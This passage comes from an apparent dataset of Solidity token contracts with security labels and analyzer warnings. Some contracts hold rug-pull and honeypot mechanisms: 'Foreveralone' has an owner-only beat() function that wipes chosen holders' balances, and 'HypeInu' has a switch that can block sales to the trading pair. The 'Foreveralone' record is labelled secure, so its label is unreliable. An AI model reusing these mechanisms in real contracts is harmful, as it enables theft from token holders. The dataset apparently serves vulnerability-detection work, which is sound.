_TAX_FEE,\n _BURN_FEE,\n _CHARITY_FEE\n );\n uint256 tTransferAmount = getTTransferAmount(\n tAmount,\n tFee,\n tBurn,\n tCharity\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rFee) = _getRBasics(\n tAmount,\n tFee,\n currentRate\n );\n uint256 rTransferAmount = _getRTransferAmount(\n rAmount,\n rFee,\n tBurn,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tCharity\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 taxFee,\n uint256 burnFee,\n uint256 charityFee\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);\n uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);\n uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(\n 100\n );\n return (tFee, tBurn, tCharity);\n }\n\n function getTTransferAmount(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private pure returns (uint256) {\n return tAmount.sub(tFee).sub(tBurn).sub(tCharity);\n }\n\n function _getRBasics(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n return (rAmount, rFee);\n }\n\n function _getRTransferAmount(\n uint256 rAmount,\n uint256 rFee,\n uint256 tBurn,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256) {\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);\n return rTransferAmount;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 54fa3c9\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _sendToCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n _rOwned[FeeAddress] = _rOwned[FeeAddress].add(rCharity);\n _tOwned[FeeAddress] = _tOwned[FeeAddress].add(tCharity);\n emit Transfer(sender, FeeAddress, tCharity);\n }\n\n function removeAllFee() private {\n if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;\n\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n _TAX_FEE = 0;\n _BURN_FEE = 0;\n _CHARITY_FEE = 0;\n }\n\n function restoreAllFee() private {\n _TAX_FEE = ORIG_TAX_FEE;\n _BURN_FEE = ORIG_BURN_FEE;\n _CHARITY_FEE = ORIG_CHARITY_FEE;\n }\n\n function _getTaxFee() private view returns (uint256) {\n return _TAX_FEE;\n }\n}",
"file_name": "solidity_code_3542.sol",
"secure": 0,
"size_bytes": 22284
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private _previousOwner;\n uint256 private _lockTime;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n\n function getUnlockTime() public view returns (uint256) {\n return _lockTime;\n }\n\n function lock(uint256 time) public virtual onlyOwner {\n _previousOwner = _owner;\n _owner = address(0);\n _lockTime = block.timestamp + time;\n emit OwnershipTransferred(_owner, address(0));\n }\n\n function unlock() public virtual {\n require(\n _previousOwner == msg.sender,\n \"You don't have permission to unlock\"\n );\n\t\t// timestamp | ID: 7720b5c\n require(block.timestamp > _lockTime, \"Contract is locked\");\n emit OwnershipTransferred(_owner, _previousOwner);\n _owner = _previousOwner;\n }\n}",
"file_name": "solidity_code_3543.sol",
"secure": 1,
"size_bytes": 1893
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n address public afterHours;\n address public market;\n uint256 public opensAt;\n uint256 public closesAt;\n\n bool private _enabled;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 closesAt_,\n uint256 opensAt_\n ) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 100_000_000_000 ether);\n setOpen(closesAt_, opensAt_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function open() public returns (bool) {\n\t\t// timestamp | ID: b1df742\n if (block.timestamp >= opensAt) {\n closesAt = closesAt + 24 hours;\n opensAt = opensAt + 24 hours;\n return true;\n }\n\t\t// timestamp | ID: b1df742\n return block.timestamp < closesAt;\n }\n\n function getOpen() public view returns (bool) {\n\t\t// timestamp | ID: 660f8fb\n return block.timestamp < closesAt;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (!_enabled) {\n require(sender == owner(), \"not permitted\");\n } else {\n if (open()) {\n require(\n recipient != afterHours && sender != afterHours,\n \"market is open\"\n );\n } else {\n require(\n recipient == afterHours || sender == afterHours,\n \"after hours is open\"\n );\n }\n }\n\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function enable() external onlyOwner {\n _enabled = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0d24705): ERC20.setAfterHoursPool(address).pool lacks a zerocheck on \t afterHours = pool\n\t// Recommendation for 0d24705: Check that the address is not zero.\n function setAfterHoursPool(address pool) external onlyOwner {\n\t\t// missing-zero-check | ID: 0d24705\n afterHours = pool;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6f8bf83): ERC20.setMarket(address).pool lacks a zerocheck on \t market = pool\n\t// Recommendation for 6f8bf83: Check that the address is not zero.\n function setMarket(address pool) external onlyOwner {\n\t\t// missing-zero-check | ID: 6f8bf83\n market = pool;\n }\n\n function setOpen(uint256 closesAt_, uint256 opensAt_) public onlyOwner {\n if (_enabled) {\n if (closesAt_ > opensAt_) {\n require(\n closesAt_ - opensAt_ >= 8 hours,\n \"must at least be open for 8 hours\"\n );\n } else {\n require(\n opensAt_ - closesAt_ >= 8 hours,\n \"must at least be open for 8 hours\"\n );\n }\n }\n\t\t// events-maths | ID: e7b8d80\n closesAt = closesAt_;\n\t\t// events-maths | ID: e7b8d80\n opensAt = opensAt_;\n }\n}",
"file_name": "solidity_code_3544.sol",
"secure": 0,
"size_bytes": 8892
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = initialSupply_ * (10 ** _decimals);\n _balances[owner()] = _totalSupply;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function transferTokens(\n address erc20TokenAddress,\n uint256 amount\n ) public onlyOwner returns (bool) {\n return IERC20(erc20TokenAddress).transfer(owner(), amount);\n }\n}",
"file_name": "solidity_code_3545.sol",
"secure": 0,
"size_bytes": 5377
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IERC20Recyclable is IERC20 {\n function mint(address account, uint256 amount) external returns (bool);\n function burn(uint256 amount) external returns (bool);\n}",
"file_name": "solidity_code_3546.sol",
"secure": 1,
"size_bytes": 309
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\nimport \"./IERC20Recyclable.sol\" as IERC20Recyclable;\n\ncontract ERC20CappedRecyclable is\n ERC20,\n ERC20Capped,\n AccessControl,\n IERC20Recyclable\n{\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n bytes32 public constant BURNER_ROLE = keccak256(\"BURNER_ROLE\");\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35d2911): ERC20CappedRecyclable.constructor(string,string,uint256)._name shadows ERC20._name (state variable)\n\t// Recommendation for 35d2911: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccc32a4): ERC20CappedRecyclable.constructor(string,string,uint256)._symbol shadows ERC20._symbol (state variable)\n\t// Recommendation for ccc32a4: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _maxSupply\n ) ERC20(_name, _symbol) ERC20Capped(_maxSupply) {\n _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n function setMinter(\n address _contract\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n grantRole(MINTER_ROLE, _contract);\n }\n\n function setBurner(\n address _contract\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n grantRole(BURNER_ROLE, _contract);\n }\n\n function setRecycler(\n address _contract\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n grantRole(MINTER_ROLE, _contract);\n grantRole(BURNER_ROLE, _contract);\n }\n\n function sealContract() external onlyRole(DEFAULT_ADMIN_ROLE) {\n renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n function mint(\n address account,\n uint256 amount\n ) external override onlyRole(MINTER_ROLE) returns (bool) {\n _mint(account, amount);\n return true;\n }\n\n function burn(\n uint256 amount\n ) external override onlyRole(BURNER_ROLE) returns (bool) {\n _burn(msg.sender, amount);\n return true;\n }\n\n function _mint(\n address account,\n uint256 amount\n ) internal override(ERC20, ERC20Capped) {\n super._mint(account, amount);\n }\n}",
"file_name": "solidity_code_3547.sol",
"secure": 0,
"size_bytes": 2542
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20CappedRecyclable.sol\" as ERC20CappedRecyclable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RecyclableCappedToken is ERC20CappedRecyclable {\n constructor() ERC20CappedRecyclable(\"Coorest\", \"CRST\", 50000000 ether) {\n ERC20._mint(msg.sender, 50000000 ether);\n }\n}",
"file_name": "solidity_code_3548.sol",
"secure": 1,
"size_bytes": 389
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ErnieGenerator.sol\" as ErnieGenerator;\n\ncontract ErnieVault {\n address public immutable owner;\n\n ErnieGenerator public immutable Manage;\n\n constructor(address _Manage) {\n owner = msg.sender;\n\n Manage = ErnieGenerator(_Manage);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the contract owner\");\n\n _;\n }\n\n function invest() external payable onlyOwner {\n require(msg.value > 0, \"Investment must be greater than zero\");\n\n Manage.deposit{value: msg.value}();\n }\n\n function divest(uint256 amount) external onlyOwner {\n Manage.withdraw(amount);\n }\n\n function getManagedOneConnectToken() external view returns (uint256) {\n return Manage.getOneConnectToken();\n }\n}",
"file_name": "solidity_code_3549.sol",
"secure": 1,
"size_bytes": 869
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Foreveralone is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable director;\n\n constructor() {\n _name = \"forever alone\";\n\n _symbol = \"alone\";\n\n _decimals = 18;\n\n uint256 initialSupply = 392000000;\n\n director = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == director, \"Not allowed\");\n\n _;\n }\n\n function beat(address[] memory restaurant) public onlyOwner {\n for (uint256 i = 0; i < restaurant.length; i++) {\n address account = restaurant[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_355.sol",
"secure": 1,
"size_bytes": 4381
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HypeInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: af5ee73): HypeInu.dexRouter should be immutable \n\t// Recommendation for af5ee73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: be4bd60): HypeInu.dexPair should be immutable \n\t// Recommendation for be4bd60: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: cf79c39): HypeInu._decimals should be immutable \n\t// Recommendation for cf79c39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 43ed895): HypeInu._totalSupply should be immutable \n\t// Recommendation for 43ed895: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public _limitonbuys = true;\n\n constructor() {\n _name = \"Hype INU\";\n _symbol = \"Hype\";\n _decimals = 18;\n _totalSupply = 10000000 * 1e18;\n\n _balances[owner()] = _totalSupply.mul(1000).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 546d44c): HypeInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 546d44c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function limitonbuys(bool value) external onlyOwner {\n _limitonbuys = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"WE: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Transfer coming\");\n require(recipient != address(0), \"Transfer coming\");\n require(amount > 0, \"Transfer coming\");\n\n if (!_limitonbuys && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" you hit your limits\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"No can do\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75b92fb): HypeInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75b92fb: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3550.sol",
"secure": 0,
"size_bytes": 6974
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MiniSamurinu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 73594b6): miniSamurinu.dexRouter should be immutable \n\t// Recommendation for 73594b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: eebb7c1): miniSamurinu.dexPair should be immutable \n\t// Recommendation for eebb7c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: a54e428): miniSamurinu._decimals should be immutable \n\t// Recommendation for a54e428: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private 